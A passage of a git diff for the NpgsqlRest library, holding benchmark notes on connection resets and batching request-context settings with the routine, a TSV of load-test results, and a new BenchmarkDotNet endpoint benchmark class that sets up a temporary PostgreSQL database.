565.8 / 569.2 | 61 / 60 / 65 | +| AOT 4.0.0 Runtime Async | 159.6 / 160.0 / 163.4 | 355.4 / 354.8 / 355.5 | 569.2 / 563.3 / 564.2 | 60 / 61 / 66 | + + +The third table is where "what .NET 11 itself changes" in the changelog comes from. It was measured before the reset rule existed, so both 4.0.0 builds in it reset with `DISCARD ALL`, and 3.21.0 (which never reset) is listed only for orientation. + +Runtime Async against standard async, final builds: every figure is within the spread between rounds. The 2-3% lower row throughput noted in round 2 was an order effect (Runtime Async always ran last there); with the order varied it is gone. + +## What resetting connections costs + +The same 4.0.0 binaries with the three reset behaviors. "No reset" is the final build with default settings (three rounds), "lighter reset" the build that always reset (three rounds), `DISCARD ALL` the builds before the client change (JIT: six runs for text, three for PL/pgSQL; AOT: five and two). Averages: + +| | No reset | Lighter reset | `DISCARD ALL` | 3.21.0 (no reset) | +|---|---:|---:|---:|---:| +| JIT, text req/s (32 connections) | 39,162 | 34,808 | 34,940 | 39,242 | +| JIT, PL/pgSQL req/s | 32,074 | 27,224 | 23,223 | 32,637 | +| JIT, PL/pgSQL response time | 260.5 µs | 276.5 µs | 355.8 µs | 254.8 µs | +| JIT, text response time | 190.5 µs | 198.5 µs | 193.9 µs | 182.6 µs | +| AOT, text req/s (32 connections) | 38,136 | 33,297 | 33,928 | 39,071 | +| AOT, PL/pgSQL req/s | 30,841 | 26,968 | 21,904 | 31,847 | +| AOT, PL/pgSQL response time | 260.2 µs | 277.5 µs | 359.5 µs | 250.8 µs | +| AOT, text response time | 191.5 µs | 200.8 µs | 195.6 µs | 182.7 µs | + +Reading: any reset costs 11-15% of the throughput of a small request, because PostgreSQL executes it on every request. For a trivial SQL function the lighter reset is no cheaper than `DISCARD ALL` (seven commands instead of one; slightly slower, in fact). What it saves is the re-planning: the five-statement PL/pgSQL function goes from 356-360 µs to 277 µs, against 260 µs without a reset. + +One oddity for whoever repeats this: with one connection, the 100-row endpoint answers about 5% *faster* with a reset than without (the small reply to the reset arrives first and the read of the rows that follows is quicker). It does not show in throughput or CPU, and it is one reason to weight those more than single-connection response times. + +## JIT: BenchmarkDotNet against master + +The endpoint benchmark was copied into a worktree of `master` (it did not exist in 3.21.0) with the same BenchmarkDotNet version. Interleaved runs, mean time and allocation per request: + +| | GetText | GetRows100 | HttpOnly | NpgsqlOnly | +|---|---|---|---|---| +| 3.21.0, .NET 10, run 1 | 177.19 µs, 7.13 KB | 425.20 µs, 190.68 KB | 30.47 µs, 2.99 KB | 125.16 µs, 1.55 KB | +| 4.0.0, .NET 11, run 1 | 180.18 µs, 4.91 KB | 394.10 µs, 51.02 KB | 38.88 µs, 3.03 KB | 131.70 µs, 1.57 KB | +| 3.21.0, .NET 10, run 2 | 176.77 µs, 7.13 KB | 425.02 µs, 190.68 KB | 30.22 µs, 2.99 KB | 129.12 µs, 1.55 KB | +| 4.0.0, .NET 11, run 2 | 180.98 µs, 4.90 KB | 400.76 µs, 50.97 KB | 39.36 µs, 3.03 KB | 131.76 µs, 1.57 KB | + +GetRows100 collections per 1,000 requests: gen 0 23.44 -> 6.35, gen 1 3.42 -> 0.49. The Runtime Async figures are those of round 2 (the library did not change afterwards). + +The two controls are the interesting part for .NET 11: the same plain HTTP round trip takes 30.3 µs on .NET 10 and 39.1 µs on .NET 11, the same Npgsql query 127.1 µs and 131.7 µs. Together that is 13.4 µs more on .NET 11 for work NpgsqlRest is not involved in, which is why GetText is 3.6 µs slower although NpgsqlRest's own part (GetText minus the two controls) went from 19.6 µs to 9.8 µs. The benchmark uses the library with a plain connection string, so both versions reset their connections with `DISCARD ALL`; the reset rule lives in the `npgsqlrest` client and plays no part here. + +Native AOT binary (osx-arm64): 35,343,856 bytes for 3.21.0, 36,255,760 for 4.0.0, 35,972,768 with Runtime Async. + +Verification of the final state: 3,013 tests pass on .NET 11 and on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`); both final AOT executables pass `.github/scripts/aot-smoke-test.sh`. + + +# Round 4: the request context is sent with the routine + +Recorded 2026-11-19, same machine and container. This round is about endpoints with `user_context` / `request_headers context`, which rounds 1-3 did not load at all. + +## What changed + +Up to here, a request to such an endpoint made two round trips to PostgreSQL: a batch of `select set_config($1,$2,false)` statements (one per setting), then the routine. The settings were session-level, so they stayed on the pooled connection, and that is what made the connection reset of round 3 necessary for every application with a context endpoint. + +Now, for functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine are one `NpgsqlBatch` of two statements: `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,...` and the unchanged routine statement. One round trip, one transaction, settings local to it, nothing left on the connection, so no reset (`NpgsqlRestOptions.ConnectionResetRequired` is false for such endpoints). Code: `NpgsqlRest/RequestContextBatch.cs`. + +Two things about the design that are not obvious from the code: + +- **Why a batch and not one command with several statements.** A single `NpgsqlCommand` with `;`-separated statements needs Npgsql's SQL rewriting and named parameters. The client (and the test suite) run with `Npgsql.EnableSqlRewriting` off, on purpose, so that Npgsql never parses or reinterprets SQL. With it off, named parameters throw and several statements in one command are rejected by PostgreSQL. A batch is the supported way to send several statements with positional parameters, and the routine's statement does not have to be touched. +- **Text results for a batch.** Rendering reads every value in PostgreSQL's text format (`AllResultTypesAreUnknown`). `NpgsqlBatch` has that switch only as an internal property in Npgsql 10.0.3 (public API is on Npgsql's backlog, npgsql/npgsql#3922). It is set through an `UnsafeAccessor`, which works in JIT, trimmed and native AOT builds. `RequestContextBatch.IsSupported` probes it once; without it the old two-step path is used. A unit test fails if an Npgsql upgrade removes the member. + +Not eligible (they keep the session-level context, and an application that has one keeps the reset): procedures, multi-statement SQL files, SQL files whose statement is not a query or data change, upload, login and logout endpoints, a routine returning a single `bytea` value; and every endpoint with `WrapInTransaction` (already local), `BeforeRoutineCommands` or `CommandCallbackAsync`. + +## What PostgreSQL receives + +Statement log (`log_statement = 'all'`) for one request of a signed-in user to `who_am_i(_greeting text)` with `user_context`, pool of one connection: + +| Build | Statements | +|---|---| +| 3.21.0 | 4 x `select set_config($1,$2,false)` (one batch), then `select public.who_am_i(_greeting=>$1)`; no reset | +| 4.0.0 before this round | the reset (`SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP`), 4 x `select set_config($1,$2,false)`, then the routine | +| 4.0.0 | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null` and the routine, in one batch; no reset | + +A cache hit on an endpoint with `user_context` and `cached` (client started with `CacheOptions:Enabled=true`): 3.21.0 sent the four `set_config` statements for every hit, 4.0.0 before this round the reset and the four statements, 4.0.0 sends nothing. + +## Load test + +Method as in round 3 (HTTP/1.1 keep-alive client; sequential response time at 1 connection, throughput at 32, CPU per request at 8), with these differences: + +- The client is started with `--Auth:CookieAuth=true`; the load generator logs in once through a `login` function and sends the cookie with every request. Every request to a context endpoint therefore carries four settings (IP address, user id, user name, roles). +- Endpoints: `ctx_text()` (short text value built from `request.user_name`), `ctx_plpgsql(_id int)` (the five-query PL/pgSQL function of round 3, reading `request.user_id`), `ctx_rows(_count int)` with 100 rows (the rows of round 3, with the user id in the jsonb column), all with `user_context`; and `benchmark_get_text()` without context, in the same application. +- PostgreSQL CPU per request is the container's cgroup `cpu.stat` `usage_usec` delta divided by the number of requests. +- Six builds, three rounds, the order rotating by one with every round. "4.0.0 before" is commit `3810e6e` (round 3's final build): the reset that keeps plans, and two round trips. + +Averages, with the three rounds in brackets. Response times and CPU are in µs. + +**JIT** + +| | 3.21.0 (.NET 10) | 4.0.0 before (reset, two round trips) | 4.0.0 (one round trip, no reset) | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,070 (21,022 / 21,168 / 21,020) | 19,018 (19,025 / 18,960 / 19,070) | 35,704 (34,379 / 36,389 / 36,345) | +| PL/pgSQL function, `user_context` | 19,314 (19,162 / 19,497 / 19,283) | 17,126 (17,038 / 17,560 / 16,780) | 30,094 (29,936 / 30,038 / 30,307) | +| 100 rows, `user_context` | 11,710 (11,919 / 11,531 / 11,681) | 12,577 (12,921 / 12,232 / 12,578) | 17,803 (17,259 / 17,813 / 18,337) | +| Text value without context, same application | 39,429 (40,201 / 39,245 / 38,842) | 33,812 (33,893 / 33,609 / 33,935) | 38,048 (37,376 / 38,398 / 38,371) | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 334.6 (335.4 / 335.1 / 333.4) | 366.7 (367.4 / 366.9 / 365.7) | 217.2 (219.7 / 215.7 / 216.3) | +| PL/pgSQL function, `user_context` | 399.3 (402.7 / 400.2 / 395.0) | 427.4 (426.5 / 427.8 / 427.8) | 282.1 (283.4 / 279.7 / 283.1) | +| 100 rows, `user_context` | 648.1 (649.1 / 655.9 / 639.4) | 655.7 (654.4 / 661.0 / 651.7) | 521.2 (525.4 / 520.0 / 518.3) | +| Text value without context, same application | 186.1 (188.4 / 180.4 / 189.5) | 208.6 (210.7 / 205.7 / 209.4) | 199.1 (197.5 / 199.4 / 200.3) | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 320.1 (319.4 / 319.9 / 320.9) | 264.8 (262.9 / 265.0 / 266.4) | 166.0 (166.9 / 164.0 / 167.1) | +| 100 rows, `user_context` | 650.0 (639.1 / 660.0 / 651.0) | 399.1 (395.1 / 400.5 / 401.8) | 312.7 (315.4 / 312.2 / 310.5) | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 96.7 (97.2 / 96.5 / 96.3) | 119.9 (121.1 / 118.1 / 120.6) | 60.0 (59.7 / 60.8 / 59.6) | +| 100 rows, `user_context` | 361.6 (355.3 / 363.7 / 365.7) | 365.7 (365.7 / 364.1 / 367.3) | 300.3 (299.5 / 304.6 / 296.8) | +| Process memory after the load, MB | 308 | 171 | 173 | +| Failed requests | 0 | 0 | 0 | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 4.0.0 before (reset, two round trips) | 4.0.0 (one round trip, no reset) | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,209 (21,218 / 21,092 / 21,317) | 18,125 (18,254 / 17,982 / 18,139) | 35,570 (35,484 / 35,846 / 35,379) | +| PL/pgSQL function, `user_context` | 18,789 (18,784 / 18,510 / 19,074) | 16,712 (16,692 / 16,938 / 16,506) | 28,532 (28,712 / 29,311 / 27,574) | +| 100 rows, `user_context` | 11,591 (11,662 / 11,532 / 11,580) | 11,741 (11,623 / 11,584 / 12,017) | 16,376 (15,991 / 16,586 / 16,551) | +| Text value without context, same application | 38,108 (37,173 / 38,086 / 39,065) | 32,759 (32,850 / 32,705 / 32,721) | 37,094 (37,192 / 37,772 / 36,319) | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 336.8 (334.5 / 339.4 / 336.6) | 371.8 (376.7 / 366.7 / 372.0) | 217.7 (218.0 / 217.2 / 218.0) | +| PL/pgSQL function, `user_context` | 397.7 (397.6 / 394.9 / 400.6) | 431.8 (433.0 / 432.2 / 430.3) | 280.8 (281.2 / 281.5 / 279.6) | +| 100 rows, `user_context` | 690.9 (733.1 / 683.5 / 656.0) | 699.2 (695.4 / 715.5 / 686.6) | 544.7 (545.4 / 554.9 / 533.9) | +| Text value without context, same application | 188.7 (189.7 / 186.5 / 189.9) | 206.6 (207.5 / 206.9 / 205.4) | 198.7 (198.2 / 199.5 / 198.4) | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 254.5 (257.1 / 250.0 / 256.5) | 275.4 (276.0 / 275.9 / 274.4) | 172.4 (172.8 / 172.6 / 171.9) | +| 100 rows, `user_context` | 606.6 (610.8 / 609.5 / 599.6) | 460.1 (459.2 / 460.1 / 461.1) | 366.0 (366.1 / 367.2 / 364.6) | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97.0 (100.1 / 95.5 / 95.4) | 121.4 (122.5 / 120.7 / 121.1) | 59.6 (60.3 / 59.4 / 59.1) | +| 100 rows, `user_context` | 371.1 (379.6 / 366.5 / 367.1) | 375.3 (373.6 / 374.3 / 377.9) | 305.9 (307.0 / 306.1 / 304.7) | +| Process memory after the load, MB | 206 | 79 | 81 | +| Failed requests | 0 | 0 | 0 | + +Reading: + +- The three context endpoints lose one round trip: 117-127 µs of response time in JIT, 117-146 µs in AOT, against 3.21.0. Against the build before this round the difference is larger (135-155 µs), because that build also paid for the reset. +- The build before this round was *slower* than 3.21.0 for context endpoints under load (19,018 against 21,070 text requests per second in JIT): same two round trips, plus the reset that 3.21.0 never did. That state was never released. +- An endpoint without context in the same application: 3.21.0 39,429 / 38,108 requests per second (JIT / AOT), before this round 33,812 / 32,759 (the reset applies to every endpoint of an application that has a context endpoint), now 38,048 / 37,094. +- PostgreSQL's own CPU for the small request: 97 µs in 3.21.0, 120-121 µs with the reset, 60 µs now. + +The login cookie itself, on the endpoint without context (AOT, two rounds, µs at one connection, without / with the cookie): 3.21.0 182.6 / 190.3 and 182.2 / 191.4; 4.0.0 code on .NET 10 186.5 / 193.1 and 185.0 / 199.4; 4.0.0 on .NET 11 191.9 / 202.7 and 196.6 / 201.9. The cookie costs about 8 µs in every build; what differs between the builds is the small-request cost of .NET 11 measured in round 3. + +## JIT: BenchmarkDotNet, before and after + +`GetTextUserContext` was added to the endpoint benchmarks in this round: the text value from an endpoint with `user_context`, requested anonymously, so four settings are sent (the IP address, and NULL for the three user keys). The benchmark file was copied into a worktree of `3810e6e` for the "before" run. One run each, mean time and allocation per request: + +| | GetText | GetRows100 | GetTextUserContext | HttpOnly | NpgsqlOnly | +|---|---|---|---|---|---| +| 4.0.0 before this round (`3810e6e`) | 182.61 µs, 4.91 KB | 396.37 µs, 50.92 KB | 333.81 µs, 10.17 KB | 39.90 µs, 3.03 KB | 131.64 µs, 1.58 KB | +| 4.0.0 | 179.22 µs, 4.90 KB | 398.37 µs, 50.91 KB | 207.11 µs, 8.76 KB | 39.31 µs, 3.03 KB | 131.59 µs, 1.56 KB | + +The context request is 127 µs faster, one `NpgsqlOnly` round trip, and allocates 1.4 KB less. It still costs 28 µs and 3.9 KB more than `GetText`: the batch, its two batch commands and the eight text parameters of four settings. Nothing else moved, as expected: endpoints without context run the same code as before. + +In this benchmark the library opens connections from a plain connection string, so Npgsql resets them with `DISCARD ALL` in both runs; the client's reset rule is not involved. + +## Verification + +3,076 tests pass on .NET 11, on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`) and with Runtime Async (`-p:NpgsqlRestRuntimeAsync=true`). The native AOT executable (36,272,336 bytes, no new trim or AOT warnings) passes `.github/scripts/aot-smoke-test.sh`, which now also calls endpoints with `user_context` and `request_headers context` and checks that nothing of the context is left on the connection. + +The fallback was checked by forcing `RequestContextBatch.IsSupported` to false for one run of the whole suite: the 16 tests that assert the new behavior failed (nothing left on a never-reset connection, the reset no longer required, the Npgsql member present) and all the others passed, so the old two-step path still works as before. diff --git a/BenchmarkTests/Baselines/LoadTest-4.1.0-npgsql11.tsv b/BenchmarkTests/Baselines/LoadTest-4.1.0-npgsql11.tsv new file mode 100644 index 00000000..f4bc80ea --- /dev/null +++ b/BenchmarkTests/Baselines/LoadTest-4.1.0-npgsql11.tsv @@ -0,0 +1,128 @@ +jit401-r1 text 13 194.7 38798 141.7 37.5 +jit401-r1 plpgsql 23 263.7 31844 151.8 113.4 +jit401-r1 post4 33 211.6 36238 149.3 57.5 +jit401-r1 rows100 15217 428.2 19130 286.7 248.2 +jit401-r1 json119k 169548 2207.9 4259 555.7 1824.8 +jit401-r1 ctx_text 17 216.0 36921 148.0 58.2 +jit401-r1 ctx_rows100 15125 435.5 18887 287.0 254.9 +jit401-r1 RSS_MB 117 +jit402-r1 text 13 191.4 39267 143.7 36.8 +jit402-r1 plpgsql 23 260.2 30383 154.3 111.8 +jit402-r1 post4 33 213.9 37373 150.8 57.6 +jit402-r1 rows100 15217 413.6 19378 275.3 241.0 +jit402-r1 json119k 169548 2230.2 4460 545.3 1785.9 +jit402-r1 ctx_text 17 211.0 35541 152.1 58.4 +jit402-r1 ctx_rows100 15125 441.9 18787 283.8 251.3 +jit402-r1 RSS_MB 113 +aot401-r1 text 13 187.0 37656 145.3 37.0 +aot401-r1 plpgsql 23 266.2 31151 156.7 115.6 +aot401-r1 post4 33 212.0 35957 155.1 57.7 +aot401-r1 rows100 15217 449.3 17916 317.2 245.9 +aot401-r1 json119k 169548 2217.2 4535 540.7 1783.8 +aot401-r1 ctx_text 17 215.1 36487 152.9 57.9 +aot401-r1 ctx_rows100 15125 479.1 18024 318.2 257.3 +aot401-r1 RSS_MB 81 +aot402-r1 text 13 192.9 38494 145.4 37.0 +aot402-r1 plpgsql 23 264.4 30565 156.0 115.6 +aot402-r1 post4 33 214.1 35992 154.8 57.2 +aot402-r1 rows100 15217 429.7 18886 304.6 245.2 +aot402-r1 json119k 169548 2215.5 4516 540.1 1767.4 +aot402-r1 ctx_text 17 214.2 36946 150.8 58.9 +aot402-r1 ctx_rows100 15125 457.4 18703 310.3 256.1 +aot402-r1 RSS_MB 81 +jit402-r2 text 13 187.8 38532 142.5 37.3 +jit402-r2 plpgsql 23 261.8 31855 154.7 113.4 +jit402-r2 post4 33 209.3 36982 151.3 57.7 +jit402-r2 rows100 15217 414.0 19587 278.2 237.8 +jit402-r2 json119k 169548 2268.4 4560 545.6 1829.6 +jit402-r2 ctx_text 17 215.1 35786 151.5 57.8 +jit402-r2 ctx_rows100 15125 443.7 18991 278.6 252.2 +jit402-r2 RSS_MB 113 +aot401-r2 text 13 188.3 38604 149.0 36.8 +aot401-r2 plpgsql 23 263.9 32421 158.4 116.8 +aot401-r2 post4 33 212.1 36115 155.6 57.6 +aot401-r2 rows100 15217 449.7 18402 316.0 245.1 +aot401-r2 json119k 169548 2193.8 4561 545.9 1770.2 +aot401-r2 ctx_text 17 216.5 36760 152.1 58.9 +aot401-r2 ctx_rows100 15125 470.2 18400 316.5 256.6 +aot401-r2 RSS_MB 85 +aot402-r2 text 13 190.4 38167 139.3 38.2 +aot402-r2 plpgsql 23 289.5 28207 158.5 119.1 +aot402-r2 post4 33 216.3 35963 158.3 60.1 +aot402-r2 rows100 15217 445.4 18120 307.2 244.9 +aot402-r2 json119k 169548 2463.2 4415 546.0 1770.3 +aot402-r2 ctx_text 17 216.2 37047 155.1 59.5 +aot402-r2 ctx_rows100 15125 486.3 17952 305.9 258.5 +aot402-r2 RSS_MB 84 +jit401-r2 text 13 188.9 39020 143.5 37.5 +jit401-r2 plpgsql 23 265.9 32469 154.5 115.8 +jit401-r2 post4 33 213.9 37112 150.8 58.6 +jit401-r2 rows100 15217 416.6 18760 283.4 243.0 +jit401-r2 json119k 169548 2496.5 4344 536.4 1799.1 +jit401-r2 ctx_text 17 212.3 35864 149.4 58.3 +jit401-r2 ctx_rows100 15125 458.9 18954 287.8 255.3 +jit401-r2 RSS_MB 117 +aot401-r3 text 13 188.8 38861 141.3 37.2 +aot401-r3 plpgsql 23 268.3 32091 157.8 116.0 +aot401-r3 post4 33 214.5 35321 156.7 58.4 +aot401-r3 rows100 15217 478.1 17509 316.1 246.5 +aot401-r3 json119k 169548 2491.4 4383 543.3 1772.0 +aot401-r3 ctx_text 17 220.8 36297 153.3 58.5 +aot401-r3 ctx_rows100 15125 489.3 17472 317.5 258.4 +aot401-r3 RSS_MB 84 +aot402-r3 text 13 186.3 38916 140.5 36.8 +aot402-r3 plpgsql 23 261.1 31381 157.2 115.1 +aot402-r3 post4 33 220.1 35912 155.7 58.3 +aot402-r3 rows100 15217 431.6 18770 307.0 244.3 +aot402-r3 json119k 169548 2384.8 4522 553.3 1772.2 +aot402-r3 ctx_text 17 212.5 35845 154.5 59.1 +aot402-r3 ctx_rows100 15125 498.7 18501 307.7 256.9 +aot402-r3 RSS_MB 81 +jit401-r3 text 13 184.7 39277 144.3 37.0 +jit401-r3 plpgsql 23 261.4 30740 154.8 114.1 +jit401-r3 post4 33 207.7 37238 152.3 57.8 +jit401-r3 rows100 15217 428.4 19460 282.7 238.7 +jit401-r3 json119k 169548 2184.7 4500 544.0 1765.0 +jit401-r3 ctx_text 17 211.6 36441 148.5 58.4 +jit401-r3 ctx_rows100 15125 440.6 19725 285.5 253.9 +jit401-r3 RSS_MB 112 +jit402-r3 text 13 196.1 39522 141.1 35.9 +jit402-r3 plpgsql 23 257.2 31746 154.9 114.8 +jit402-r3 post4 33 209.1 38086 148.8 56.9 +jit402-r3 rows100 15217 412.2 19383 272.3 239.2 +jit402-r3 json119k 169548 1942.8 4523 536.2 1748.9 +jit402-r3 ctx_text 17 210.2 36923 148.4 58.4 +jit402-r3 ctx_rows100 15125 448.5 19117 278.2 250.6 +jit402-r3 RSS_MB 116 +aot402-r4 text 13 188.2 38914 145.5 37.2 +aot402-r4 plpgsql 23 265.7 30545 155.0 114.0 +aot402-r4 post4 33 210.3 37359 154.6 57.2 +aot402-r4 rows100 15217 427.0 18364 305.4 239.9 +aot402-r4 json119k 169548 1967.1 4696 547.9 1768.9 +aot402-r4 ctx_text 17 211.5 35774 154.2 58.4 +aot402-r4 ctx_rows100 15125 484.8 18345 308.5 254.9 +aot402-r4 RSS_MB 85 +jit401-r4 text 13 187.1 38554 143.9 36.4 +jit401-r4 plpgsql 23 256.3 32671 152.0 113.3 +jit401-r4 post4 33 208.1 36680 150.3 56.5 +jit401-r4 rows100 15217 418.8 19800 283.9 236.8 +jit401-r4 json119k 169548 2225.1 4524 542.2 1740.4 +jit401-r4 ctx_text 17 211.8 36983 146.8 57.3 +jit401-r4 ctx_rows100 15125 441.0 18832 282.2 250.4 +jit401-r4 RSS_MB 117 +jit402-r4 text 13 190.9 40056 143.5 36.5 +jit402-r4 plpgsql 23 258.0 31845 153.3 113.9 +jit402-r4 post4 33 209.6 37955 150.5 57.6 +jit402-r4 rows100 15217 411.3 19257 275.6 238.2 +jit402-r4 json119k 169548 2241.9 4464 544.4 1762.7 +jit402-r4 ctx_text 17 208.2 37431 147.6 57.5 +jit402-r4 ctx_rows100 15125 446.0 19637 276.4 252.6 +jit402-r4 RSS_MB 119 +aot401-r4 text 13 185.9 36845 140.8 36.2 +aot401-r4 plpgsql 23 262.9 31832 154.7 117.2 +aot401-r4 post4 33 210.0 37187 153.2 57.3 +aot401-r4 rows100 15217 445.5 19027 313.2 244.3 +aot401-r4 json119k 169548 2251.2 4507 539.1 1792.9 +aot401-r4 ctx_text 17 211.1 35826 152.3 57.8 +aot401-r4 ctx_rows100 15125 496.5 18318 316.4 258.4 +aot401-r4 RSS_MB 79 diff --git a/BenchmarkTests/BenchmarkTests.csproj b/BenchmarkTests/BenchmarkTests.csproj index 17e64277..30b79d47 100644 --- a/BenchmarkTests/BenchmarkTests.csproj +++ b/BenchmarkTests/BenchmarkTests.csproj @@ -2,16 +2,17 @@ Exe - net10.0 + net11.0 enable enable True - 14 + 15 - - + + + diff --git a/BenchmarkTests/EndpointBenchmarks.cs b/BenchmarkTests/EndpointBenchmarks.cs new file mode 100644 index 00000000..1250b2d0 --- /dev/null +++ b/BenchmarkTests/EndpointBenchmarks.cs @@ -0,0 +1,265 @@ +using System.Text.Json; +using BenchmarkDotNet.Attributes; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.Logging; +using Npgsql; +using NpgsqlRest; + +namespace BenchmarkTests; + +/// +/// Self-contained end-to-end endpoint benchmarks: a full HTTP round trip (HttpClient -> Kestrel on loopback -> +/// NpgsqlRest -> PostgreSQL -> JSON response) for two typical requests. +/// +/// Purpose: a before/after yardstick for dependency and runtime upgrades. Run it before upgrading, keep the +/// report, run it again after upgrading on the same machine, and compare. No manual server is needed: global +/// setup creates its own database and starts an in-process server; global cleanup stops it and drops the database. +/// +/// Requires PostgreSQL on localhost:5432 (postgres/postgres), the same instance the NpgsqlRestTests use, +/// or the connection string in NPGSQLREST_BENCHMARK_CONNECTION (maintenance database, e.g. Database=postgres). +/// +/// Run with: dotnet run -c Release --project BenchmarkTests -- --endpoints +/// +[MemoryDiagnoser] +public class EndpointBenchmarks +{ + // Maintenance-database connection used to create/drop the benchmark database. + // Override with the NPGSQLREST_BENCHMARK_CONNECTION environment variable to use a different PostgreSQL instance + // (always compare runs made against the same instance). + private static readonly string AdminConnectionString = + Environment.GetEnvironmentVariable("NPGSQLREST_BENCHMARK_CONNECTION") is { Length: > 0 } connection + ? connection + : "Host=localhost;Port=5432;Database=postgres;Username=postgres;Password=postgres"; + private const string DatabaseName = "npgsql_rest_benchmark"; + + private const string Script = """ + create function benchmark_get_text() + returns text + language sql + stable + as $$ + select 'Hello, World!' + $$; + + create function benchmark_get_rows(_count int) + returns table ( + id int, + name text, + active boolean, + amount numeric, + created_at timestamptz, + tags text[], + data jsonb + ) + language sql + stable + as $$ + select + i, + 'name ' || i, + i % 2 = 0, + i * 1.25, + timestamptz '2026-01-01 00:00:00+00' + make_interval(mins => i), + array['a' || i, 'b' || i], + jsonb_build_object('id', i, 'label', 'item ' || i) + from generate_series(1, _count) as i + $$; + + -- The same text value, with the request context (user_context): the IP address and the three default user + -- keys are passed to PostgreSQL as settings (NULL for the user keys: the benchmark's requests are anonymous). + create function benchmark_get_text_context() + returns text + language sql + stable + as $$ + select 'Hello, ' || coalesce(nullif(current_setting('request.user_name', true), ''), 'World') || '!' + $$; + + comment on function benchmark_get_text() is 'HTTP GET'; + comment on function benchmark_get_rows(int) is 'HTTP GET'; + comment on function benchmark_get_text_context() is 'HTTP GET + user_context'; + """; + + private const int RowCount = 100; + + private WebApplication _app = null!; + private HttpClient _client = null!; + private NpgsqlDataSource _dataSource = null!; + + [GlobalSetup] + public void Setup() + { + var connectionString = CreateDatabase(); + + var builder = WebApplication.CreateBuilder(new WebApplicationOptions { Args = [] }); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + // No logging: per-request log output would dominate the measurement + builder.Logging.ClearProviders(); + + _app = builder.Build(); + // Reference endpoint for HttpOnly: same routing style as NpgsqlRest (endpoint + RequestDelegate), no database + _app.MapGet("/ping", context => + { + context.Response.ContentType = "text/plain"; + return context.Response.WriteAsync("Hello, World!"); + }); + _app.UseNpgsqlRest(new NpgsqlRestOptions(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "benchmark\\_%", + RequiresAuthorization = false + }); + _app.StartAsync().GetAwaiter().GetResult(); + + _client = new HttpClient + { + BaseAddress = new Uri(_app.Urls.First()), + Timeout = TimeSpan.FromSeconds(30) + }; + + _dataSource = NpgsqlDataSource.Create(connectionString); + + Verify(); + } + + [GlobalCleanup] + public void Cleanup() + { + _client.Dispose(); + _dataSource.Dispose(); + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + NpgsqlConnection.ClearAllPools(); + Execute(AdminConnectionString, $"drop database if exists {DatabaseName} with (force)"); + } + + /// + /// Smallest possible round trip: one scalar text value. Measures fixed per-request overhead + /// (routing, parameter handling, connection rent, command execution, response write). + /// + [Benchmark(Baseline = true)] + public async Task GetText() + { + using var response = await _client.GetAsync("/api/benchmark-get-text"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// 100 rows with mixed column types (int, text, bool, numeric, timestamptz, text[], jsonb). + /// Measures query parameter binding plus row-reading and JSON serialization throughput. + /// + [Benchmark] + public async Task GetRows100() + { + using var response = await _client.GetAsync($"/api/benchmark-get-rows?count={RowCount}"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// The text value again, from an endpoint with user_context: four context settings are sent to PostgreSQL with + /// the request. Compared with GetText, this is what the request context costs. + /// + [Benchmark] + public async Task GetTextUserContext() + { + using var response = await _client.GetAsync("/api/benchmark-get-text-context"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// Reference: the HTTP stack alone (HttpClient -> Kestrel -> routing -> RequestDelegate), same response text, + /// no NpgsqlRest, no database. Separates platform (ASP.NET Core / runtime) cost from NpgsqlRest cost. + /// + [Benchmark] + public async Task HttpOnly() + { + using var response = await _client.GetAsync("/ping"); + return await response.Content.ReadAsStringAsync(); + } + + /// + /// Reference: the database call alone (pooled connection open, execute, read scalar), no HTTP. + /// Separates Npgsql + runtime cost from HTTP and NpgsqlRest cost. + /// + [Benchmark] + public async Task NpgsqlOnly() + { + await using var connection = await _dataSource.OpenConnectionAsync(); + await using var command = new NpgsqlCommand("select benchmark_get_text()", connection); + return (string)(await command.ExecuteScalarAsync())!; + } + + private static string CreateDatabase() + { + Execute(AdminConnectionString, $"drop database if exists {DatabaseName} with (force)"); + Execute(AdminConnectionString, $"create database {DatabaseName}"); + var connectionString = new NpgsqlConnectionStringBuilder(AdminConnectionString) { Database = DatabaseName }.ConnectionString; + Execute(connectionString, Script); + return connectionString; + } + + private static void Execute(string connectionString, string sql) + { + using var connection = new NpgsqlConnection(connectionString); + connection.Open(); + using var command = connection.CreateCommand(); + command.CommandText = sql; + command.ExecuteNonQuery(); + } + + /// + /// Fail fast if an endpoint is not what the benchmark assumes, so a broken setup (404, 500, wrong shape) + /// is never measured and reported as a valid result. + /// + private void Verify() + { + using (var response = _client.GetAsync("/ping").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, World!") + { + throw new InvalidOperationException($"ping: unexpected response {(int)response.StatusCode}: {body}"); + } + } + + if (NpgsqlOnly().GetAwaiter().GetResult() != "Hello, World!") + { + throw new InvalidOperationException("NpgsqlOnly: unexpected result"); + } + + using (var response = _client.GetAsync("/api/benchmark-get-text").GetAwaiter().GetResult()) + { + var body = response.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + if (!response.IsSuccessStatusCode || body != "Hello, 